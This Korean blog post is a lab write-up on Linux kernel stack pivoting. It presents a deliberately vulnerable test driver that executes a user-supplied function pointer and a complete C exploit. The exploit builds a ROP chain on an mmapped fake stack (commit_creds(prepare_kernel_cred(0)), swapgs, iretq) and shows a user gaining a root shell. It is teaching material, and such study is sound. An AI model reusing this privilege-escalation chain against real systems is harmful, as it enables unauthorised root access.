[Research] Linux Kernel Exploit - Stack Pivoting

[Research] Linux Kernel Exploit - Stack Pivoting

서론

해당 포스트에서는 Linux Kernel Exploit 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법 및 제약조건을 고려하여 공격자가 성공적으로 공격을 수행할 수 있는 기술적 방법에 대해서 기술하려 한다. 해당 카테고리에서는 상당부분 보호기법 우회(bypassing mitigation)을 수행하며 중복되는 부분이 많아 기술적 방법론의 관점으로 재설명하겠다.



Stack Pivoting



Stack Pivoting에 대한 기술에 앞서서 해당 기술이 왜 필요하며 어떠한 상황에서 적용가능할지 먼저 고려해볼 필요가 있다. 앞서 제시한 공격환경의 경우 메모리 오염(memory corruption)이 스택영역 기반에서 발생하였지만 실제 공격환경(real world)에서는 이와 같은 형태로 취약점이 발생하는 경우는 매우 드물다.


일반적으로 보았을 경우 stack buffer overflow가 일어나는 경우보다는 heap memory 기반에서 특정한 메모리에 값을 작성할 수 있는 경우와 같은 실행 흐름을 변조할 수 있는 취약점만이 발생하는 경우가 많다. 이를 다시 해석해서 말하자면 공격자는 stack에 대해서 손쉽게 변조할 수 있는 경우가 아니며 이는 ROP Payload를 구성해야 할 경우 쉽지 않은 문제가 될 수 있다.


이러한 환경을 고려하여 보면 ROP payload를 구성하기 위해서는 공격자가 제어할 수 있는 형태의 메모리 영역이 필요하며 cpu의 입장에서 공격자가 제어할 수 있는 메모리 영역을 stack으로 해석하게 하는 것스택 피봇팅(stack pivoting) 기법의 핵심이라고 말할 수 있다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \

부팅 스크립트의 경우 다음과 같은 형태로 작성되어 있다. 적용된 보호기법은 SMEP이 적용되어 있으며 KASLR의 경우는 비활성화 해두었다. 다시 언급할 예정이지만 해당 경우는 smap이 적용되어 있지 않기에 공격이 가능한 상황이다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("V4bel");

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
int (*fp_exec)(void) = 0;

copy_from_user(&fp_exec, buf, sizeof(fp_exec));
fp_exec();

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_write() 함수가 실행된다. 해당 함수가 실행될 경우 line28~line29에 의하여 유저 영역의 메모리를 함수 포인터에 복사하여 해당 함수를 실행하는 코드를 확인할 수 있다.

이는 사용자의 입력으로부터 실행흐름을 변조할 가능성이 있음을 의미한다. 단, SMEP이 적용되어 있는 환경이므로 return to user를 통해서 공격자가 원하는 형태의 코드를 실행할 수 없으며 ROP를 통해서 이를 우회하려고 함에도 ROP 페이로드를 구성할 메모리 영역을 제어할 수가 없음으로 보인다. 새로운 형태의 방법이 필요하다.



취약점 분석

바이너리 분석에서 해당 취약점에 대해서 언급을 하였다. 주요한 사항이므로 이를 다시 언급하면 실행흐름(RIP) 레지스터의 경우는 변조가 가능하나, 페이로드 구성이 어렵다. 결과적으로 페이로드를 구성할 수 있는 메모리 영역을 생성하고, 페이로드를 구성하며 스택 포인터를 해당 영역으로 맞춰주는 형태가 필요할 것으로 보인다.



취약점 공격

분석과정을 통해 사용자의 입력(untrusted input)을 통해 실행흐름을 변조할 수 있음을 확인하였다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다.

공격 시나리오

STEP1. payload를 구성하여 해당 영역으로 stack migration
STEP2. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP3. 사용자 모드(user mode)로의 전환
STEP4. shell 획득

해당 시나리오에서 일반적이지 않은 사항은 STEP1에 해당하는 부분이다. 스택 영역 기반에서 발생하는 취약점이 아니기 때문에 ROP 페이로드를 따로 구성하여 해당 영역으로 Stack을 이동해야 한다. 해당 영역으로 스택을 이동하는 가젯은 기존에 제시하였던 것과 같이 가젯을 검색하는 방법이 동일하기 때문에 이러한 방법은 생략하고 기술하도록 하겠다.


공격코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh", "sh", NULL);
}

void set_fake_stack(void *xchg_64) {
uint32_t xchg_32;

void *commit_creds = 0xffffffff8108e9f0;
void *prepare_kernel_cred = 0xffffffff8108ec20;

xchg_32 = (uint32_t)xchg_64;
mmap((void *)xchg_32, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

backup_rv();

*(uint64_t*)xchg_32 = 0xffffffff813fb9bc; // pop rdi; ret;
*(uint64_t*)(xchg_32+8) = 0;
*(uint64_t*)(xchg_32+16) = prepare_kernel_cred;
*(uint64_t*)(xchg_32+24) = 0xffffffff813f4eca; // pop rcx; ret;
*(uint64_t*)(xchg_32+32) = 0;
*(uint64_t*)(xchg_32+40) = 0xffffffff81b2413b; // mov rdi, rax; rep movs ...; ret;
*(uint64_t*)(xchg_32+48) = commit_creds;
*(uint64_t*)(xchg_32+56) = 0xffffffff81c00f58; // swapgs; ret;
*(uint64_t*)(xchg_32+64) = 0xffffffff810252b2; // iretq; ret;
*(uint64_t*)(xchg_32+72) = &shell;
*(uint64_t*)(xchg_32+80) = rv.user_cs;
*(uint64_t*)(xchg_32+88) = rv.user_rflags;
*(uint64_t*)(xchg_32+96) = rv.user_rsp;
*(uint64_t*)(xchg_32+104) = rv.user_ss;
}

int main() {
int fd;

void *xchg_64 = 0xffffffff8176b4fd; // xchg eax, esp; ret;

fd = open("/dev/test", O_RDWR);

set_fake_stack(xchg_64);

write(fd, &xchg_64, sizeof(xchg_64));

close(fd);

return 0;
}

공격결과를 기술하기에 앞서 조금의 부연설명이 필요할 것으로 판단된다. xchg eax, esp를 실행하게 될 경우 해당 주소의 하위 4바이트인 0x8176b4fd가 rsp로 변조된다. rax의 xchg 가젯의 주소가 지정되어 있는 이유는 커널에서 함수 포인터를 실행할 때 rax 레지스터에 주소를 저장한 후 jmp rax를 수행하기 때문이다.

결과적으로 0x8176b4fd의 메모리 주소에 메모리를 할당할 수 있다면 메모리를 할당한 후 해당 영역에 수행할 페이로드를 구성한다. 실행 흐름이 해당 영역으로 이동하면 구성한 페이로드가 순차적으로 수행되며 쉘을 정상적으로 획득할 수 있을 것이다.

공격결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit
/ # whoami
root



참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지
https://www.reddit.com/r/ReverseEngineering/comments/84ovyb/cheat_sheet_how_stack_pivots_are_used_in_modern/



한줄평

만약 mmap으로 원하는 메모리 영역에 페이로드를 구성할 수 없거나 커널 스택이 유저영역을 참조할 수 없도록 SMAP이 적용되어 있을 경우는

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!